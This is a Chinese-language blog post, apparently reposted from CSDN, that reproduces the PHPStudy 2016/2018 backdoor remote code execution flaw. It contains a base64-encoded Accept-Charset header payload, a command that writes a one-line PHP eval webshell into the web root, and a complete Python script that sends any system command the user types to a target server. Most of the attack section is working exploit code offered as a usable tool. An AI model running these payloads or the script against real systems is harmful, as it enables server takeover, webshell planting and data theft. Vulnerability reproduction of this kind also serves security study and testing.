PhpStudy2016-2018-RCE 漏洞复现

漏洞描述

PHPStudyRCE(Remote Code Execution),也称为phpstudy_backdoor漏洞,是指PHPStudy软件中存在的一个远程代码执行漏洞。

漏洞影响范围

Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin等多款软件一次性安装,无需配置即可直接安装使用,一键搭建。 其中2016、2018版本的phpstudy存在被黑客恶意篡改后形成的RCE漏洞。该漏洞可以直接远程执行系统命令。

漏洞的具体影响取决于攻击者如何利用该漏洞。通过利用该漏洞,攻击者可以执行任意的PHP代码,从而完全控制受影响的系统。攻击者可以执行恶意代码、访问和修改敏感数据、植入后门等。

需要注意的是,该漏洞只影响使用了特定版本的PHPStudy软件的系统,具体来说是2018年1月至2019年5月发布的版本。在2019年5月发布的修复版本中,该漏洞被开发者修复。

说明 内容
漏洞编号 phpstudy-2016,2018-RCE
漏洞名称 RCE(Remote Command|Code Execute)
漏洞评级 高危
影响范围 phpStudy 2016-----phpStudy 2018
漏洞描述 攻击者可以利用该漏洞执行PHP 命令,也可以称作 phpStudy 后门 。


 

漏洞环境

链接:https://pan.baidu.com/s/1_kieJmU7Azq-lMKIp9VmaA 
提取码:2hf6 

漏洞复现

具体的版本,和服务器平台就不列出了,大家参考phpinfo的信息 

 使用burp抓包,然后重发报文

漏洞利用

触发条件

Accept-Charset: c3lzdGVtKCdpcGNvbmZpZycpOw==
Accept-Encoding: gzip,deflate

tips:这里注意空格

 使用burp编码器构造一条系统执行命令,并且使用base64编码

 得到

c3lzdGVtKCdpcGNvbmZpZycpOw==

修改数据包后,重放,右边源码发现已经执行ipconfig了

漏洞利用

这段代码的作用是将<?php@eval($_POST[cmd]);字符串写入到"C:/phpStudy/WWW/shell.php"文件中。这段PHP代码会执行$_POST[cmd]变量中的命令,并将结果进行执行。这是常用来写webshell的一句话,请注意使用这样的代码是非常危险的,因为它允许任意的命令执行和操纵服务器文件系统。这种代码容易被滥用,例如用于执行恶意命令、破坏或窃取数据。

system(' echo ^<?php@eval($_POST[cmd]); ?^>>"C:/phpStudy/WWW/shell.php ');

POC

POC是"Proof of Concept"的缩写。在计算机安全领域中,POC通常指的是攻击者或安全研究人员为了验证某个漏洞的存在、利用效果或攻击方法而实现的一个具体演示或证明代码。

接下来为大家展示一下,为了更好的体验效果,我在powershell中演示

当我运行此rce脚本时,显示下方的界面,并提示该工具的用法。

当我添加网站后,运行脚本,就会提示输入想要执行的命令,然后回车,就可以执行远程PhpStudy服务器的主机了

下面是源代码

import requests
import base64
import sys

banner = '''
.---. .-.          .--.  .-.          .-.        .---.  .--.  .--. 
: .; :: :         : .--'.' `.         : :        : .; :: .--': .--'
:  _.': `-. .---. `. `. `. .'.-..-. .-' :.-..-.  :   .': :   : `;  
: :   : .. :: .; ` _`, : : : : :; :' .; :: :; :  : :.`.: :__ : :__ 
:_;   :_;:_;: ._.'`.__.' :_; `.__.'`.__.'`._. ;  :_;:_;`.__.'`.__.'
            : :                           .-. :                    
            :_;                           `._.'                    
                python *.py http://192.168.21.155/phpinfo.php
'''

if len(sys.argv) < 2:
    print(banner)
    exit()

url = sys.argv[1]

def attack(cmd):
    cmd = f"system('{cmd}');"
    cmd = base64.b64encode(cmd.encode())

    headers = {
        "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept-Charset"    : cmd,
        "Accept-Encoding"   : "gzip,deflate"
    }

    res = requests.get(url = url,headers = headers)
    rs = res.content.decode("gb2312")
    result = rs[0:rs.find("DOCTYPE html")]
    return result

if __name__ == '__main__':
    cmd = input("请输入想要执行的系统命令:")
    if cmd == 'q':
        print("感谢使用!!!")
    else:
        print(attack(cmd))

猜你喜欢

转载自blog.csdn.net/qq_56698744/article/details/131730964